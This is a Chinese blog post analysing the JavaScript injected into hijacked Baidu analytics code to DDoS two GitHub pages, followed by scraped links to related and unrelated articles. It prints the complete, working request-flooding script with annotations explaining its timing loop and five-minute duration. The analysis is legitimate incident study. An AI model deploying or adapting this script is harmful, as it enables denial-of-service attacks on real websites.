百度统计js被劫持用来DDOS Github的JS注释
前几天在乌云看见了百度统计js被劫持用来DDOS Github,就想看看执行的核心JS是怎么样请求的。
就分析了下JS的执行,发现乌云解析的地方说错了。

文章里面说。大概功能就是关闭缓存后每隔2秒加载一次。
我看了下代码的意思是:
第一次请求,延迟2秒钟请求。
然后,以后的每次请求都以请求开始跟请求结束(请求时间差)作为延时再进行请求。
从第一次执行那段JS的时间内连续五分钟内,就是请求(Attack)时间只有五分钟。
你访问网站速度越快,请求越多。所以github弄个alert()让你的浏览器暂停下来。
以下为JS的详解(JS很烂,求板砖):
 document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");    //加载jQuery
 !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");    //判断windows.jQuery有没有被定义,没有就再加载JQuery
 startime = (new Date).getTime();    //获取当前时间戳,毫秒(最初执行时间)
 var count = 0;    //总请求次数
 function unixtime() {    //获取一个时间戳
 var a = new Date;
 return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 //1e3=1000
 }
 url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];    //定义要请求的URL
 NUM = url_array.length;    //  获取URL数组长度,两个URL
 function r_send2() {
 var a = unixtime() % NUM;    //这里是随机请求URL,去时间戳整除的余去进行请求不同的URL,这样写是不是很蛋疼
 get(url_array[a])    //带入URL进入GET函数
 }
 function get(a) {    //定义get函数,功能就是请求URL。用的jQuery.ajax()方法
 var b;    //请求时间差
 $.ajax({
 url: a,    //请求的URL
 dataType: "script",    //预期返回的数据类型, 返回纯文本 JavaScript 代码,并且会执行JS。不会自动缓存结果。除非设置了 "cache" 参数。
 timeout: 1E4,    //1e4=10000,设置请求超时时间
 cache: !0,    //dataType 为 script 和 jsonp 时默认为 false。设置为 false 将不缓存此页面。所以这里会缓存页面。
 beforeSend: function() {    //发送请求前可修改 XMLHttpRequest 对象的函数
 requestTime = (new Date).getTime()    //获取当前时间戳,毫秒(请求开始的时间)
 },
 complete: function() {    //请求完成后回调函数
 responseTime = (new Date).getTime();    //获取当前时间戳,毫秒(请求完成的时间)
 b = Math.floor(responseTime - requestTime);    //请求时间差,网络响应慢后面就请求慢了~
 3E5 > responseTime - startime && (r_send(b), count += 1)    //3e5=300000,请求时间减去最开始获取到的时间小于300S(这里就是只请求五分钟),然后再执行r_send(b),count++
 }
 })
 }
 function r_send(a) {
 setTimeout("r_send2()", a)    //等待a毫秒以后执行r_send2()
 }
 setTimeout("r_send2()", 2E3); //2e3=2000; 等待2000毫秒以后执行r_send2(),setTimeout() 只执行code一次,也就是第一次执行的函数
 // PS: r_send2() -->get() --> r_send() -->r_send2()-->loop
 // PS: 并不是每两秒钟执行一次请求
百度统计js被劫持用来DDOS Github的JS注释的更多相关文章
- 百度统计js被劫持用来DDOS Github
		今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗: malicious javascript detected on this d ... 
- 【转】百度统计js被劫持用来DDOS Github
		原文链接:http://drops.wooyun.org/papers/5398 今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗 ... 
- 百度统计的JS脚本原理分析
		首先,百度统计会要求我们在要统计的页面中嵌入一段js语句,类似如下: <script type="text/javascript">var _bdhmProtocol ... 
- 如何把百度统计代码放入JS文件中?百度统计的JS脚本原理分析
		<script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script&quo ... 
- nuxt.js 加百度统计
		Mark一下: 在 Nuxt.js应用中使用Google统计分析服务,或者百度统计分析服务,推荐在 plugins 目录下创建 plugins/ga.js 文件.统计统计分析我们可以获取网站pv,uv ... 
- 百度统计的JS脚本原理解析
		一句话:在你的网站上加载百度统计的脚本,这个脚本会收集你的本地信息,然后发送给百度统计网站 https://blog.csdn.net/iqzq123/article/details/8877645 ... 
- 屏蔽全部统计代码(51.la cnzz 百度统计 谷歌分析师adsense、屏蔽淘宝客广告代码)的方法
		支持百度统计 .51.la统计.cnzz统计.51yes统计.谷歌分析师.阿里妈妈淘宝客广告.chinaz弹窗.假设有很多其它的须要屏蔽的,欢迎联系 default7#zbphp.com 改动etc的 ... 
- 【转载】国内网站博客数据统计选免费Google Analytics还是百度统计
		[转载]国内网站博客数据统计选免费Google Analytics还是百度统计 Google Analytics谷歌统计是我用的第一个网站统计工具,当然现在也一直在用.Google Analytics ... 
- 百度统计API的使用
		百度统计API的使用 在搭建自己博客的时候,希望自己能有个日志系统,能够看到PV.UV等信息,同时自己也搭建了个ELK系统,可惜服务器配置太低(1GHZ+1G内存),根本运行不起来.只能使用第三方的日 ... 
随机推荐
- hdu 3553 Just a String (后缀数组)
			hdu 3553 Just a String (后缀数组) 题意:很简单,问一个字符串的第k大的子串是谁. 解题思路:后缀数组.先预处理一遍,把能算的都算出来.将后缀按sa排序,假如我们知道答案在那个 ... 
- Prefix.pch的作用和用法
			一般用于放置宏,省去xcode编译的时间 Hello World_Prefix.pch:扩展名.pch表示"precompiled header",这是一个你工程要用到的来自于外部 ... 
- 【iOS】3D Touch
			文章内容来源于Apple的开发者文档:https://developer.apple.com/library/content/documentation/UserExperience/Conceptu ... 
- Android -- 官方下拉刷新SwipeRefreshLayout
			V4的兼容包 API 大概就这4个常用的方法. code 布局 <RelativeLayout xmlns:android="http://schemas.android.com/ap ... 
- Java基础知识强化之IO流笔记05:try...catch...finally包含的代码是运行期的
			1. 代码示例: 上面看到的第13行: Date d = null;(这里必须初始化) 第14~20行使用try...catch...finally包含代码,这里的代码已经变成运行期代码.此时我们 ... 
- 在java中可有两种方式实现多线程,一种是继承Thread类,一种是实现Runnable接口
			//继承thread类 class PrimeThread extends Thread{ long minPrime; PrimeThread(long minPrime) { this.minPr ... 
- My.Ioc 代码示例——实现自动注册/解析
			在很多 Ioc 容器中,当使用者向容器请求实现了某个契约类型 (Contract Type) 的服务时 (调用类似如下方法 container.Resolve(Type contractType)), ... 
- Smarty的配置与高级缓存技术
			转之--http://www.cnblogs.com/-run/archive/2012/06/04/2532801.html Smarty 是一个出色的PHP模板引擎,它分离了逻辑代码和user i ... 
- XML 标记使用的特殊字符对应内置实体
			下表为 XML 标记使用的字符列出了五种内置实体. 实体 实体引用 含义 lt < <(小于号) gt > >(大于号) amp & &(“and”符) a ... 
- xcode升级插件失效修复
			每次xcode升级以后,插件都会失效.可以通过一行命令解决这个问题. 摘自传人的博客 find ~/Library/Application\ Support/Developer/Shared/Xcod ... 
